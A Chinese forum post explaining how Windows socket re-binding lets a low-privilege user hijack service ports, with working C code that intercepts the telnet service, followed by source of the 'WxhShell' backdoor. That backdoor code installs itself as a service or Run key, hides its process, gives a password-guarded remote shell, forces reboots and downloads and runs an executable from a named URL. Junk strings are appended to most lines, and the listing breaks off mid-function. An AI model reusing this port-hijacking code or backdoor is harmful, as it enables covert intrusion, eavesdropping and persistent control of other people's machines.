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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J.d `tiN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  x1et,&,  
nNKL{Hp  
  saddr.sin_family = AF_INET; S'e2~-p0F  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xz@>sY>Jc  
$b$D[4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gs3}rW  
V_QVLW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9.B7Owgr89  
{mQJ6 G'ny  
  这意味着什么?意味着可以进行如下的攻击: G Xl?Zg  
)em.KbsPPF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m @%|Q;  
2o/`8+eJu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SJ-Sac58r  
;~J~g#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9vu8koL  
v(O.GhJ@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AngwBZ@  
|*5nr5c_L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &?nF' ;&  
?+\,a+46P_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M)7enp) F.  
l?o- p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Tjqn::~D  
Cs{f'I  
  #include hd;I x%tq>  
  #include $5r,Q{;$  
  #include A2d2V**Z  
  #include    ihrrmlN?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @U JmbD{  
  int main() ]r6bJ 2  
  { v"+EBfx  
  WORD wVersionRequested; GB3B4)cX4Y  
  DWORD ret; X;:xGZ-oY  
  WSADATA wsaData; Tt|6N*b'  
  BOOL val; h :R)KM  
  SOCKADDR_IN saddr; N sL"p2w~  
  SOCKADDR_IN scaddr; 3~ZVAg[c  
  int err; +.I'U9QeUN  
  SOCKET s; :\_MA^<  
  SOCKET sc; 5nAF=Bj  
  int caddsize; 1.uQ(>n  
  HANDLE mt; [udV }  
  DWORD tid;   4 G[hU4L  
  wVersionRequested = MAKEWORD( 2, 2 ); QOk"UP  
  err = WSAStartup( wVersionRequested, &wsaData ); Pltju4.:C  
  if ( err != 0 ) { S45>f(!  
  printf("error!WSAStartup failed!\n"); I>Q,]S1h  
  return -1; nn4Sy,cz  
  } .`N` M9  
  saddr.sin_family = AF_INET; -<]_:Kf{;&  
   J94YMyOo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T9-a uK0d  
`r(J6,O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uTGvXKL7  
  saddr.sin_port = htons(23); 98'XSL|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `0|&T;7  
  { ,D,f9  
  printf("error!socket failed!\n"); bGc|SF<V  
  return -1; C&N4<2b  
  } [Od9,XBa  
  val = TRUE; :~R Fy?xRa  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4^_Au^8R(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PJ:5Lb<  
  { 3MJWCo-[  
  printf("error!setsockopt failed!\n"); W r7e_  
  return -1; J&65B./mD9  
  } 9R"N#w.U]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U] -@yx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l(\8c><m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^Jl!WH=20}  
6v O)s!b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f?^Oy!1]  
  { LE80`t>M#  
  ret=GetLastError(); L00 ;rTs>  
  printf("error!bind failed!\n");  >E ;o"  
  return -1; 1"B9Z6jf  
  } IYg3ve`x  
  listen(s,2); N<"6=z@w+  
  while(1) x][9ptr h  
  { bTy)0ta>AF  
  caddsize = sizeof(scaddr); X8n/XG~_  
  //接受连接请求 pjs9b%.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uNZ>oP>  
  if(sc!=INVALID_SOCKET)  zn;Hs]G  
  { hIo S#]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s5aOAyb*w  
  if(mt==NULL) ) a\DS yr  
  { EJ;0ypbG  
  printf("Thread Creat Failed!\n"); f(s3TLM  
  break; /0&:Yp=>  
  } C\^<v&  
  } D)ne *},  
  CloseHandle(mt); v\9,j  
  } .Jat^iFj0  
  closesocket(s); HZ<f(  
  WSACleanup(); 9_A0:S9Z  
  return 0; H0b6ZA%n  
  }   vV\F^  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q'Kik5I  
  { G9y12HV  
  SOCKET ss = (SOCKET)lpParam; CBnouKc:  
  SOCKET sc; ZDkD%SCy  
  unsigned char buf[4096]; +=*m! 7Mr  
  SOCKADDR_IN saddr; OQL09u  
  long num; !k= 0X\5L  
  DWORD val; & kjwIg{  
  DWORD ret; Rp`_Grcd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !ga (L3vf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8}?Y;>s\  
  saddr.sin_family = AF_INET; Gz[ym j)5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y:"v=EhB  
  saddr.sin_port = htons(23); _z(5e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Oz#EGjz  
  { ;4/dk_~p]  
  printf("error!socket failed!\n"); Msa6yD#  
  return -1; 0nD=|W\@{  
  } 0n<(*bfW  
  val = 100; h\u0{!@}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EB29vHAt~  
  { R0hc tT1j  
  ret = GetLastError(); #[U 9(44,  
  return -1; }rY?=I  
  } u $% D9Z^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 16[-3cJ T  
  { Oa}V>a  
  ret = GetLastError(); \Sw+]pr~  
  return -1; =,C9O  
  } o1#:j?sN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .W@(nQ-<  
  { RhV:Z3f`6  
  printf("error!socket connect failed!\n"); e:$7^Y,U/  
  closesocket(sc); ie$`pyj!x  
  closesocket(ss); CCW%G,$U9  
  return -1; s,$Z ("B  
  } O/D Af|X|  
  while(1) 0HHui7Yy>  
  { Y(hW(bd;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e'~-`Z9-)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `sk!C7%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p |\%:#  
  num = recv(ss,buf,4096,0); _}I(U?Q-C  
  if(num>0) N>A{)_k3  
  send(sc,buf,num,0); *?^Z)C>  
  else if(num==0) aE7u5 PM  
  break; "w*+v  
  num = recv(sc,buf,4096,0); d)04;[=  
  if(num>0) B]^>GH  
  send(ss,buf,num,0); ^s^ JzFw  
  else if(num==0) Ic[}V0dk  
  break; $5TepH0D  
  } AezvBY0'`z  
  closesocket(ss); fg9?3x Z  
  closesocket(sc); Q;$ 9qOF  
  return 0 ; ?~"`^|d  
  } JQ) 4}t  
)\T@W  
vix&E`0yD  
==========================================================  SwdC,  
gohAp  
下边附上一个代码,,WXhSHELL -A/ds1=;  
Q'Jv} 'eK_  
========================================================== \8;Qv  
lpl8h4d  
#include "stdafx.h" 'oz hz2s  
_Kc 1  
#include <stdio.h> cQ8dc+ {  
#include <string.h> p= !#],[  
#include <windows.h> az0cS*@  
#include <winsock2.h> rr|"r  
#include <winsvc.h> )46 0 Ed  
#include <urlmon.h> <jbj/Q )"  
s~S?D{!  
#pragma comment (lib, "Ws2_32.lib") +yzcx3<  
#pragma comment (lib, "urlmon.lib") Zxg1M  
K!3{M!B   
#define MAX_USER   100 // 最大客户端连接数 B|cA[  
#define BUF_SOCK   200 // sock buffer x!'7yx  
#define KEY_BUFF   255 // 输入 buffer {mNdL J  
]EB6+x!G  
#define REBOOT     0   // 重启 ]]>nbgGn#  
#define SHUTDOWN   1   // 关机 BjM+0[HC  
mO#I nTO  
#define DEF_PORT   5000 // 监听端口 +0VG[ c\8  
@ru<4`h  
#define REG_LEN     16   // 注册表键长度 r=h8oUNEJ*  
#define SVC_LEN     80   // NT服务名长度 :@.C4oq  
fD'/#sA#'  
// 从dll定义API egfi;8]E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *5 e<\{!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {5>3;.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BsKbn@'uC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;t}'X[U  
brntE:  
// wxhshell配置信息 DlDB=N0@S  
struct WSCFG { }d_<\  
  int ws_port;         // 监听端口 .>P~uZiX!  
  char ws_passstr[REG_LEN]; // 口令 qYx!jA]O  
  int ws_autoins;       // 安装标记, 1=yes 0=no Qh^R Ax  
  char ws_regname[REG_LEN]; // 注册表键名 @8|Gh]\P  
  char ws_svcname[REG_LEN]; // 服务名 ~]&B >q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V{!lk]p}a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f3 !n$lj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @: Z#E[N H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HL@TcfOe~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vc|NL^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7{-@}j`  
?1CJf>B>  
}; 0 sZwdO  
Lx%:t YZ  
// default Wxhshell configuration hcyn  
struct WSCFG wscfg={DEF_PORT, G;NB\3 ~X  
    "xuhuanlingzhe", RK-x?ZYH'  
    1, gwiR/(1  
    "Wxhshell", ilv_D~|  
    "Wxhshell", _lP4}9p  
            "WxhShell Service", : W~f;k  
    "Wrsky Windows CmdShell Service", 3w6&&R9  
    "Please Input Your Password: ", 7H%_sw5S.  
  1, G,]z (%  
  "http://www.wrsky.com/wxhshell.exe", 2SciB*5  
  "Wxhshell.exe" )!eEO [\d  
    }; Pu..NPl+  
Ir27ZP  
// 消息定义模块 _dr*`yXi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _s*! t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D^u\l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wu2:'y>n  
char *msg_ws_ext="\n\rExit."; jn$j^ 51`C  
char *msg_ws_end="\n\rQuit."; \45(#H<$  
char *msg_ws_boot="\n\rReboot..."; ,T$r9!WTM  
char *msg_ws_poff="\n\rShutdown..."; ^wJEfac  
char *msg_ws_down="\n\rSave to ";  , ]7XMU3  
~ M*gsW$  
char *msg_ws_err="\n\rErr!"; `VZZ^K9zR  
char *msg_ws_ok="\n\rOK!"; WYLX?x  
(B:uc_+  
char ExeFile[MAX_PATH]; .!yq@Q|=u  
int nUser = 0; skR,-:"8  
HANDLE handles[MAX_USER]; PBrnzkoY  
int OsIsNt; sKd)BA0`  
vLDi ;  
SERVICE_STATUS       serviceStatus; @6b[GekZ<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r?^"6 5 =  
<HF-2?`  
// 函数声明 o?wt$j-  
int Install(void); {y6C0A*  
int Uninstall(void); %ek"!A  
int DownloadFile(char *sURL, SOCKET wsh); K]<u8eF  
int Boot(int flag); Q]#Z9H  
void HideProc(void); KO&:06V{  
int GetOsVer(void); KjOi(YUnq7  
int Wxhshell(SOCKET wsl); J`<f  
void TalkWithClient(void *cs); Pm^lr!3p  
int CmdShell(SOCKET sock); XWtiwf'K  
int StartFromService(void); jDTUXwx7V  
int StartWxhshell(LPSTR lpCmdLine); $XGtS$  
O]{*(J/t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J=*K"8Qr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5B*qbM  
\_VmY!I5\  
// 数据结构和表定义 ?3jdg]&  
SERVICE_TABLE_ENTRY DispatchTable[] = !SF^a6jT  
{ _- %d9@x  
{wscfg.ws_svcname, NTServiceMain}, FT.@1/)  
{NULL, NULL} %v4ZGtKC@  
}; j=ihbR^]Tl  
Rla4L`X;  
// 自我安装 #ElejQ|?  
int Install(void) T//S,   
{ V@Wcb$mgk  
  char svExeFile[MAX_PATH]; g.a| c\WH  
  HKEY key; 8=Q V N_  
  strcpy(svExeFile,ExeFile); z*LiweR-  
&Rp"rMeW  
// 如果是win9x系统,修改注册表设为自启动 xvDI 4x&  
if(!OsIsNt) { 2OalAY6RS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p5<2N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l h/&__  
  RegCloseKey(key); {oWsh)[x2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T~s}Nx#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5f{|"LG&  
  RegCloseKey(key); Nn#u%xvJt  
  return 0; rkYjq4Z@  
    } Kx6y" {me|  
  } )^ <3\e  
} I]uhi{\C  
else { [ rdsv  
2P5_zND  
// 如果是NT以上系统,安装为系统服务 nb+m.X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J70D+  
if (schSCManager!=0) bPd-D-R  
{ FA$zZs10\  
  SC_HANDLE schService = CreateService Q$=*aUU%G  
  ( xb$yu.c  
  schSCManager, TzM=LvA  
  wscfg.ws_svcname, # *,sa  
  wscfg.ws_svcdisp, N z~" vi(t  
  SERVICE_ALL_ACCESS, .3wY\W8Dr-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0BTLcEqgZ  
  SERVICE_AUTO_START, @ajM^L!O  
  SERVICE_ERROR_NORMAL, Z> 74.r  
  svExeFile, 1dv=xe.  
  NULL, cZ< \  
  NULL, e4.&aIC[  
  NULL, Hg(5S,O2  
  NULL, Q 4K +*Fi}  
  NULL Tsz NlRxc  
  ); K $-;;pUl  
  if (schService!=0) *not.2+  
  { y/R+$h(%  
  CloseServiceHandle(schService); yQ[u3tI  
  CloseServiceHandle(schSCManager); }kPVtSQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JR1 *|u  
  strcat(svExeFile,wscfg.ws_svcname); -JTG?JOd]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dAxp ,):&J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {;k_!v{  
  RegCloseKey(key); +,_c/(P  
  return 0; /`+7_=-  
    } POGw`:)A  
  } ` clB43 i  
  CloseServiceHandle(schSCManager); #x~_`>mDN  
} J}@GKNm  
} (I=6Nnt'  
:s*>W$Wp4  
return 1; [ud|dwP"  
} ;.s: X  
\"d?=uFe  
// 自我卸载 ma]? )1<{  
int Uninstall(void) ct0v$ct>f  
{ z5EVG  
  HKEY key; Bp3L>AcVu  
x!?Z *v@I  
if(!OsIsNt) { F]5\YYXO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >&hX&,hG  
  RegDeleteValue(key,wscfg.ws_regname); 0w3b~RJ  
  RegCloseKey(key); xIgql}.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v@_in(dk  
  RegDeleteValue(key,wscfg.ws_regname); G (\Ckf:  
  RegCloseKey(key); Wc;+2Hl[@  
  return 0; Dh`=ydI5  
  } EcW1;wH  
} 7;xKy'B\  
} _,Q[2gQ5N  
else { -N z}DW>  
W5/};K\.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M(5D'4.  
if (schSCManager!=0) 76cEKHa<  
{ ,?y7 ,nb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *<k&#D"m  
  if (schService!=0) }ecs Gw  
  { GCH[lb>IJv  
  if(DeleteService(schService)!=0) { XRa#2 1pQ  
  CloseServiceHandle(schService); ':sTd^V  
  CloseServiceHandle(schSCManager); & rQD`E/  
  return 0; UE7'B?  
  } ;+/NjC1  
  CloseServiceHandle(schService); JUU&Z[6J  
  } \G3!TwC%  
  CloseServiceHandle(schSCManager); 2 `&<bt[g  
} bK7.St  
} 8^T2^gs  
4W-"|Z_x  
return 1; |."G?*  
} B^m!t7/,  
' =}pxyg  
// 从指定url下载文件 l0#4Fma  
int DownloadFile(char *sURL, SOCKET wsh) 97]4 :Zv  
{ >{F!ntEj  
  HRESULT hr; G"C;A`6  
char seps[]= "/"; 0BDoBR  
char *token; 1M/$< kQ-N  
char *file; >KHp-|0pv  
char myURL[MAX_PATH]; w&C1=v -h  
char myFILE[MAX_PATH]; hiIya WU  
4Pf+]R  
strcpy(myURL,sURL); )-#i8?y3C  
  token=strtok(myURL,seps); AZBC P  
  while(token!=NULL) +9_,w bF  
  { p}BGw:=  
    file=token; Pl?}>G  
  token=strtok(NULL,seps); Z+,CL/  
  } j%u8=  
`fMpV8vv  
GetCurrentDirectory(MAX_PATH,myFILE); _T a}B4;  
strcat(myFILE, "\\"); L}b'+Wi@  
strcat(myFILE, file); h[,XemwX  
  send(wsh,myFILE,strlen(myFILE),0); }{t3SGsJ  
send(wsh,"...",3,0); aPt{C3<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {RJ52Gx(  
  if(hr==S_OK) T,Fm"U6[(  
return 0; {yU0D*#6  
else jf8w7T  
return 1; }Q ;BQ2[  
?ff [$ab  
} S!<"Swf:  
iAgOnk[  
// 系统电源模块 wE8]'o  
int Boot(int flag) s_S$7N`ocS  
{ :U8k|,~f  
  HANDLE hToken; >-eS&rma  
  TOKEN_PRIVILEGES tkp; xlk5Gob*  
:S#i9# aB  
  if(OsIsNt) { z :? :  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5DUi4 Cbgy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lj Y  
    tkp.PrivilegeCount = 1; xmOM<0T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,, 7.=#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8ZFH}v@V1'  
if(flag==REBOOT) { c|+y9(0|y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b70AJe=  
  return 0; Pm~,Ky&Hl  
} /K[]B]1NE  
else { >6w@{p2B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *0lt$F$~b  
  return 0; 'Z y{mq\  
} Z rA Um  
  } k,A M]H  
  else { &hO$4qtN  
if(flag==REBOOT) { @f\ X4!e*y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M*v^N]>"G  
  return 0; ": nI_~q  
} @ }ZGY^  
else { s* @QT8%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aE}=^%D  
  return 0; UC.8DaIPN  
} QP'qG@j[:  
} =%xIjxYl  
0,bt^a  
return 1; *u58l(&`8  
} 2lF WW(  
EkDws `@  
// win9x进程隐藏模块 8 qn{  
void HideProc(void) n<=y"*  
{ C-_(13S  
u6]gQP">I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^kc>m$HY  
  if ( hKernel != NULL ) JATS6-Lz`  
  { 6Q?BwD+>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C+DG+_%V*S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ex{)mE4Cd  
    FreeLibrary(hKernel); |C^ c0  
  } d~w}NK[(  
"4KkKi  
return; o7m99(  
} 8.:B=A  
 F|DR  
// 获取操作系统版本 B>ms`|q=l  
int GetOsVer(void) ?f(pQy@V  
{ d&O'r[S  
  OSVERSIONINFO winfo; USlF+RY@3L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3| GNi~  
  GetVersionEx(&winfo); Q@PJ)fwN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2,rY\Nu_  
  return 1; A9NOeE  
  else <\B],M1=s=  
  return 0; 8XLxT(YFIs  
} n ;Ql=4  
Y{+zg9L*  
// 客户端句柄模块 7f.4/x^  
int Wxhshell(SOCKET wsl) Bl>_&A)  
{ >xhd[  
  SOCKET wsh; eD>-`'7<  
  struct sockaddr_in client; j<`I\Pmv  
  DWORD myID; 23(B43zy  
2hjre3"?  
  while(nUser<MAX_USER) AAIyr703cQ  
{ DLwC5Iir  
  int nSize=sizeof(client); s!8J.hD'I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V+4k!  
  if(wsh==INVALID_SOCKET) return 1; x!Z:K5%O  
)R [@G.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wgSR*d>y*9  
if(handles[nUser]==0) .0 R/'!e  
  closesocket(wsh); l%-67(  
else rCnV5Yb0O  
  nUser++; ;o~+2Fir  
  } .{'Uvn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rf1wS*uU+  
$sd3h\P&R  
  return 0; Pj1K  
} :IP;Frc MP  
~pX(w!^  
// 关闭 socket Z~-T0Ab-  
void CloseIt(SOCKET wsh) E.7AbHph0  
{ ]yj4~_&O  
closesocket(wsh); ims=-1,  
nUser--; D7gX,e  
ExitThread(0); q/d5P  
} d[P>jl%7  
eMpEFY  
// 客户端请求句柄 NIWI6qCw  
void TalkWithClient(void *cs) WwCK  K  
{ -N-4l  
~u~[E  
  SOCKET wsh=(SOCKET)cs; %%-U .   
  char pwd[SVC_LEN]; kMJQeo79  
  char cmd[KEY_BUFF]; 1 o  
char chr[1]; KL:6P-3  
int i,j; e GqvnNv  
~Uwr68 9N  
  while (nUser < MAX_USER) { C>k;MvqO  
j]ln :?\  
if(wscfg.ws_passstr) { @kCD.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mvL0F%\.\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :xAe<Pq  
  //ZeroMemory(pwd,KEY_BUFF); &"r==A?  
      i=0; E |GK3/  
  while(i<SVC_LEN) { c9ov;Bw6S  
Jegx[*O>b  
  // 设置超时 0c\|S>g [  
  fd_set FdRead; o?Tp=Ge  
  struct timeval TimeOut; \0^rJ1*  
  FD_ZERO(&FdRead); $@:>7Y"  
  FD_SET(wsh,&FdRead); bH WvKv+  
  TimeOut.tv_sec=8; K#6`LL m  
  TimeOut.tv_usec=0; NbdMec  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UVoLHd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3<UDVt@0  
>m_ p\$_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~d#;r5>  
  pwd=chr[0]; )o'U0rAx|a  
  if(chr[0]==0xd || chr[0]==0xa) { #iqhm,u7D  
  pwd=0; C}8e<[} )  
  break; 'j,Li(@}  
  } 4f*Ua`E_  
  i++; xn x1`|1u  
    } qY~$wVY(  
pD}VB6=  
  // 如果是非法用户,关闭 socket 5(MZ%-~l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lA Ck$E  
} -RqAT1  
7p>-oR"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,C@hTOT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vA7jZw  
<{z3p:\  
while(1) { J:-TINeB  
4pTu P /  
  ZeroMemory(cmd,KEY_BUFF); 4M<JfD  
f{ 4G  
      // 自动支持客户端 telnet标准   */Ry6Yu  
  j=0; L};;o+5uJD  
  while(j<KEY_BUFF) { ga1gd~a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }$k`[ivBx(  
  cmd[j]=chr[0]; b=QGbFf  
  if(chr[0]==0xa || chr[0]==0xd) { [TfV2j* e  
  cmd[j]=0; vhquHy.qi#  
  break; ?D^,K`wY=B  
  } >~wk  
  j++; J0*]6oD!  
    } 1PTu3o&3  
$8T|r+<  
  // 下载文件 =|JIY  
  if(strstr(cmd,"http://")) { -.Pu5et4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 53+rpU_  
  if(DownloadFile(cmd,wsh)) eN?P) ,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zQj%ds:  
  else Lvj5<4h;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {LJ6't 8y:  
  } 'St= izhd  
  else { %WT:RT_  
pA,EUh| H  
    switch(cmd[0]) { 8 W<)c  
  cxJK>%84  
  // 帮助 2:5gMt  
  case '?': { JO^ [@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Am?Hkh2  
    break; WT!\X["FI$  
  } 56 kgL;$h  
  // 安装 #|_UA}Y  
  case 'i': { ]XafFr6pe  
    if(Install()) ?*mbce[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ST8/ ;S#c  
    else -hR\Y 2?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `8.32@rUB.  
    break; l5OV!<7~X  
    } GGL4<P7  
  // 卸载 MH8%-UV  
  case 'r': { v9`B.(Ru  
    if(Uninstall()) |QTqa~~B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tKsM}+fq  
    else 59Q Q_#>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "XsY~  
    break; N3c)ce7[  
    } 2 Yd~v|  
  // 显示 wxhshell 所在路径 =yhfL2`aw  
  case 'p': { 5a|m}2IX  
    char svExeFile[MAX_PATH]; [,$mpJCI  
    strcpy(svExeFile,"\n\r"); S!!\!w>N  
      strcat(svExeFile,ExeFile); f=O>\  
        send(wsh,svExeFile,strlen(svExeFile),0); V;]VwsZ"  
    break; @=#s~ 3  
    } c%/&@vs7  
  // 重启 ,zw=&)W1  
  case 'b': { 0@x$Cp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }J'w z;t1  
    if(Boot(REBOOT)) WJ4UJdf'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?[/,*Q%  
    else { uWtS83i  
    closesocket(wsh); Dlf=N$BL7d  
    ExitThread(0); )0d".Q|v4  
    } 9l_?n@   
    break; |A/_Qe|s2  
    } t}+c/ C%b=  
  // 关机 /~huTKA}  
  case 'd': { E^W*'D  
